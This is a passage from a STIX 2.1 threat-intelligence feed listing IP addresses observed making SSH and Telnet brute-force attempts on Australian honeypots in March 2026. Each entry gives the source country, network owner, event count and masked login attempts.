      "pattern": "[ipv4-addr:value = '185.213.154.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T07:15:08.000Z",
      "valid_until": "2026-04-19T07:15:05.000Z"
    },
    {
      "created": "2026-03-18T07:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 39351. Organisation(s): 31173 Services AB. Usernames observed (masked): a***n. Passwords observed (masked): a************e.",
      "id": "indicator--5750887e-27b7-4383-b571-d2b59cfd8bc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T07:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.65.134.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T07:15:08.000Z",
      "valid_until": "2026-04-19T07:15:05.000Z"
    },
    {
      "created": "2026-03-18T07:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 211381. Organisation(s): Podaon SIA. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--7a672bed-dd84-4a2c-b76c-8a1aa227475f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T07:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.137.255.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T07:15:08.000Z",
      "valid_until": "2026-04-19T07:15:05.000Z"
    },
    {
      "created": "2026-03-18T07:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--cb9c5e63-8307-4ab6-a89d-72df457c08e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T07:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.21.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T07:15:08.000Z",
      "valid_until": "2026-04-19T07:15:05.000Z"
    },
    {
      "created": "2026-03-18T08:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9569. Organisation(s): SEOCHO CABLE SYSTEMS CO., LTD..",
      "id": "indicator--cd8965e3-f297-43f2-8785-bb36b6de0524",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.222.167.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T08:15:15.000Z",
      "valid_until": "2026-04-19T08:15:11.000Z"
    },
    {
      "created": "2026-03-18T08:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--684f405a-c8b5-4650-b600-be7c1f61c921",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.202.236.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T08:15:15.000Z",
      "valid_until": "2026-04-19T08:15:11.000Z"
    },
    {
      "created": "2026-03-18T08:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--781eea01-54ba-4f02-8ed7-f2507c1dea0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.117.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T08:15:15.000Z",
      "valid_until": "2026-04-19T08:15:11.000Z"
    },
    {
      "created": "2026-03-18T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--0c238ea8-ac43-4f4e-918b-b057a2418850",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T08:15:15.000Z",
      "valid_until": "2026-04-19T08:15:11.000Z"
    },
    {
      "created": "2026-03-18T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--e069e1d1-0d2b-48bc-b039-d6e8b2eab148",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.59.230.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T09:15:14.000Z",
      "valid_until": "2026-04-19T09:15:11.000Z"
    },
    {
      "created": "2026-03-18T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3a63f8d0-4a10-41e6-820e-2a7a35c3dae3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.65.199.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T09:15:14.000Z",
      "valid_until": "2026-04-19T09:15:11.000Z"
    },
    {
      "created": "2026-03-18T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3fdcf511-d7c5-4ba5-bf14-9c34f33da699",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.7.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T09:15:14.000Z",
      "valid_until": "2026-04-19T09:15:11.000Z"
    },
    {
      "created": "2026-03-18T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd.",
      "id": "indicator--9295d8fa-131a-4097-9117-86f609578261",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T09:15:14.000Z",
      "valid_until": "2026-04-19T09:15:11.000Z"
    },
    {
      "created": "2026-03-18T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--cb6cdb26-ebc8-4170-a332-38213aaf2045",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.80.188.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T09:15:14.000Z",
      "valid_until": "2026-04-19T09:15:11.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 38819. Organisation(s): HKCSL GPRS NETWORK.",
      "id": "indicator--0f6a4761-db32-4a79-b75f-80fd28adcb52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.4.18.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1*******9, P******d, R*****3.",
      "id": "indicator--b942e886-d284-4132-bda0-7badba6ba22b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.213.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53231. Organisation(s): GRUPOHOST COMUNICACAO MULTIMIDIA LTDA.",
      "id": "indicator--03926126-7dbc-41a5-abce-eaae0b0c6a27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.8.161.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--62824696-1824-4529-8964-f3b6bae71e23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--bc9bed3a-3ec3-4b56-9986-63580d539067",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f0c785b1-8836-4abb-adf2-dcad007f9307",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--3d4aaf52-8b48-4323-aa06-a39a926a6d21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--fa62fdbc-3938-4811-b7c8-079937723d83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.64.106.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 303. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, ***, c****s, c***t, c**h. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--883d7dd7-80d2-4f6d-bc88-f035145f9f78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.145.34.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 212512. Organisation(s): Detai Prosperous Technologies Limited.",
      "id": "indicator--06b7348b-da36-4de2-851e-194377c78329",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12430. Organisation(s): Vodafone Spain. Usernames observed (masked): f***y, 3**********4, a**n, a***l, c***e. Passwords observed (masked): 1***5, ***, 1**4, 1****6, 1*******d.",
      "id": "indicator--4eba061c-8d0d-4b82-8024-6f6542b46ff0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.228.146.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:15:14.000Z",
      "valid_until": "2026-04-19T10:15:12.000Z"
    },
    {
      "created": "2026-03-18T11:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--b56fbcfd-b86c-47aa-8bdc-1542d9adadf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T11:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.116.174.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T11:15:19.000Z",
      "valid_until": "2026-04-19T11:15:11.000Z"
    },
    {
      "created": "2026-03-18T11:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--17ba3b8f-b5fc-49c8-ac05-a68f2599eb84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T11:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.66.230.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T11:15:19.000Z",
      "valid_until": "2026-04-19T11:15:11.000Z"
    },
    {
      "created": "2026-03-18T11:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): A*******************p, G************1, U******************************************************************************************************************************5. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--8a3a7654-1f83-49fb-9fda-29dccd41b9da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T11:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.227.159.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T11:15:19.000Z",
      "valid_until": "2026-04-19T11:15:11.000Z"
    },
    {
      "created": "2026-03-18T11:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): A*******6.",
      "id": "indicator--a0fdb382-b473-47b9-95fa-d4f882419b6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T11:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.242.223.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T11:15:19.000Z",
      "valid_until": "2026-04-19T11:15:11.000Z"
    },
    {
      "created": "2026-03-18T12:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133661. Organisation(s): Netplus Broadband Services Private Limited.",
      "id": "indicator--4a878276-c0df-4a57-83ca-c23b09c232a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T12:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.248.157.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T12:15:08.000Z",
      "valid_until": "2026-04-19T12:15:05.000Z"
    },
    {
      "created": "2026-03-18T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): a***l, l*****d. Passwords observed (masked): a*******s, l*********s.",
      "id": "indicator--e9ef4b2b-a8a6-4ba4-9e9a-df5292eb1cea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.168.194.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T13:15:15.000Z",
      "valid_until": "2026-04-19T13:15:12.000Z"
    },
    {
      "created": "2026-03-18T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--ac40c63c-81b0-4734-a6eb-4552ed87db75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.33.53.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T13:15:15.000Z",
      "valid_until": "2026-04-19T13:15:12.000Z"
    },
    {
      "created": "2026-03-18T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--7b146c66-73e9-4df2-8b1f-ceedeb80b5a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.116.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T13:15:15.000Z",
      "valid_until": "2026-04-19T13:15:12.000Z"
    },
    {
      "created": "2026-03-18T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 212512. Organisation(s): Detai Prosperous Technologies Limited.",
      "id": "indicator--0a500bc8-a868-42af-9f7f-f4272fdceaff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T13:15:15.000Z",
      "valid_until": "2026-04-19T13:15:12.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135994. Organisation(s): IDC Online Technology and Solutions Corporation. Usernames observed (masked): ***, 3**********4, ***, c***s, i**o. Passwords observed (masked): 1******8, 3***********4, 3**********4, p******d, t*****3.",
      "id": "indicator--a5e0adb3-a01b-4d36-aa5c-8ae828c62932",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.145.63.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 64439. Organisation(s): IT Outsourcing LLC.",
      "id": "indicator--a90d9ee6-0ce5-45cb-b891-d67ed6371d09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.205.56.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MO. ASN(s): 4609. Organisation(s): Companhia de Telecomunicacoes de Macau SARL. Usernames observed (masked): r**t. Passwords observed (masked): 1****9.",
      "id": "indicator--1a83425a-378b-4134-a0fd-efc2c5fa8bca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.31.2.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
